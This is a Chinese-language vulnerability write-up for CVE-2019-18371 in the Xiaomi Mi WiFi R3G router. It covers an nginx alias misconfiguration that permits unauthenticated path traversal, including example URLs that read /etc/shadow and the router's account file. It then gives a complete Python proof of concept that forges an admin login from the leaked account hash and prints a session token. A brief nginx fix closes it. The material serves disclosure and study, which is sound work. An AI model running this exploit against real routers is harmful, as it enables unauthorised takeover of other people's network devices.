(CVE-2019-18371)Xiaomi Mi WiFi R3G 任意文件读取漏洞

一、漏洞简介

Xiaomi Mi WiFi R3G是中国小米科技(Xiaomi)公司的一款3G路由器。 Xiaomi Mi WiFi R3G 2.28.23-stable之前版本中存在输入验证错误漏洞。该漏洞源于网络系统或产品未对输入的数据进行正确的验证。

二、漏洞影响

Xiaomi Mi WiFi R3G 2.28.23-stable之前版本

三、复现过程

小米路由器的nginx配置文件错误,导致目录穿越漏洞,实现任意文件读取(无需登录)

nginx配置不当可导致目录穿越漏洞,

location /xxx {
  alias /abc/;
}

可通过访问http://domain.cn/xxx../etc/passwd实现目录穿越访问上级目录及其子目录文件。

在小米路由器的文件/etc/sysapihttpd/sysapihttpd.conf中,存在

location /api-third-party/download/extdisks {
    alias /extdisks/;
}

故可以任意文件读取根目录下的所有文件,而且是root权限,如访问http://192.168.31.1/api-third-party/download/extdisks../etc/shadow

image-20200904224803971

image-20200904224803971

类似的问题,存在多处如

location /backup/log {
    alias /tmp/syslogbackup/;
}

location /api-third-party/download/public {
    alias /userdisk/data/;
}
location /api-third-party/download/private {
    alias /userdisk/appdata/;
}

通过任意文件读取,登录路由器后台

不是明文存储密码,进行一定分析。关注两个过程,一是登录时前端js生成http post请求参数过程,二是验证用户登陆的后端过程。

登录时前端js生成http post请求参数过程

var Encrypt = {
    key: 'a2ffa5c9be07488bbb04a3a47d3c5f6a',
    iv: '64175472480004614961023454661220',
    nonce: null,
    init: function(){
        var nonce = this.nonceCreat();
        this.nonce = nonce;
        return this.nonce;
    },
    nonceCreat: function(){
        var type = 0;
        // 自己的mac地址
        var deviceId = '<%=mac%>';
        var time = Math.floor(new Date().getTime() / 1000);
        var random = Math.floor(Math.random() * 10000);
        return [type, deviceId, time, random].join('_');
    },
    oldPwd : function(pwd){ // oldPwd = sha1(nonce + sha1(pwd + 'a2ffa5c9be07488bbb04a3a47d3c5f6a'))
        return CryptoJS.SHA1(this.nonce + CryptoJS.SHA1(pwd + this.key).toString()).toString();
    },
  //...
};

可知oldPwd = sha1(nonce + sha1(pwd + 'a2ffa5c9be07488bbb04a3a47d3c5f6a')),登陆请求包为

POST /cgi-bin/luci/api/xqsystem/login HTTP/1.1
Host: 192.168.31.1

username=admin&password=c9e62da7b8a0b7a4918c5a90912ba81a9717f9ab&logtype=2&nonce=0_mac地址_时间戳_5248

验证用户登陆的后端过程

调用XQSecureUtil.checkUser函数

function checkUser(user, nonce, encStr)
    -- 从xiaoqiang 配置文件中读取信息
    local password = XQPreference.get(user, nil, "account")
    if password and not XQFunction.isStrNil(encStr) and not XQFunction.isStrNil(nonce) then
        if XQCryptoUtil.sha1(nonce..password) == encStr then
            return true
        end
    end
    XQLog.log(4, (luci.http.getenv("REMOTE_ADDR") or "").." Authentication failed", nonce, password, encStr)
    return false
end

跟进XQPreference.get函数易知道是从/etc/config/account文件中读取某个字符串,这里称它为accountStr

checkUser函数判断等式为(encStr为参数oldPwd)

sha1(nonce + sha1(密码 + 'a2ffa5c9be07488bbb04a3a47d3c5f6a'))
==
sha1(nonce + accountStr)

accountStr == sha1(密码 + 'a2ffa5c9be07488bbb04a3a47d3c5f6a')

故,只需要读取/etc/config/account得到accountStr即可构造如下数据包登陆

POST /cgi-bin/luci/api/xqsystem/login HTTP/1.1
Host: 192.168.31.1

username=admin&password=sha1(nonce + account中保存的字符串)&logtype=2&nonce=0_mac地址_时间戳_5248

实现任意登陆poc

arbitrary_file_read_vulnerability.py

import os
import re
import time
import base64
import random
import hashlib
import requests
from Crypto.Cipher import AES

# proxies = {"http":"http://127.0.0.1:8080"}
proxies = {}

def get_mac():
    ## get mac
    r0 = requests.get("http://192.168.31.1/cgi-bin/luci/web", proxies=proxies)
    mac = re.findall(r'deviceId = \'(.*?)\'', r0.text)[0]
    # print(mac)    
    return mac

def get_account_str():
    ## read /etc/config/account
    r1 = requests.get("http://192.168.31.1/api-third-party/download/extdisks../etc/config/account", proxies=proxies)
    print(r1.text)
    account_str = re.findall(r'admin\'? \'(.*)\'', r1.text)[0]
    return account_str

def create_nonce(mac):
    type_ = 0
    deviceId = mac
    time_ = int(time.time())
    rand = random.randint(0,10000)
    return "%d_%s_%d_%d"%(type_, deviceId, time_, rand)

def calc_password(nonce, account_str):
    m = hashlib.sha1()
    m.update((nonce + account_str).encode('utf-8'))
    return m.hexdigest()

mac = get_mac()
account_str = get_account_str()
## login, get stok
nonce = create_nonce(mac)
password = calc_password(nonce, account_str)
data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce)
r2 = requests.post("http://192.168.31.1/cgi-bin/luci/api/xqsystem/login", 
    data = data, 
    headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"},
    proxies=proxies)
# print(r2.text)
stok = re.findall(r'"token":"(.*?)"',r2.text)[0]
print("stok="+stok)

可以获取到登录的stok

image-20200904234409100

image-20200904234409100

修复方案

任意文件读取

/etc/sysapihttpd/sysapihttpd.conf中的形如以下形式修改为

location /xxx {
  alias /abc/;
}

修改为

location /xxx/ {
  alias /abc/;
}

参考链接

https://github.com/UltramanGaia/Xiaomi_Mi_WiFi_R3G_Vulnerability_POC/blob/master/report/report.md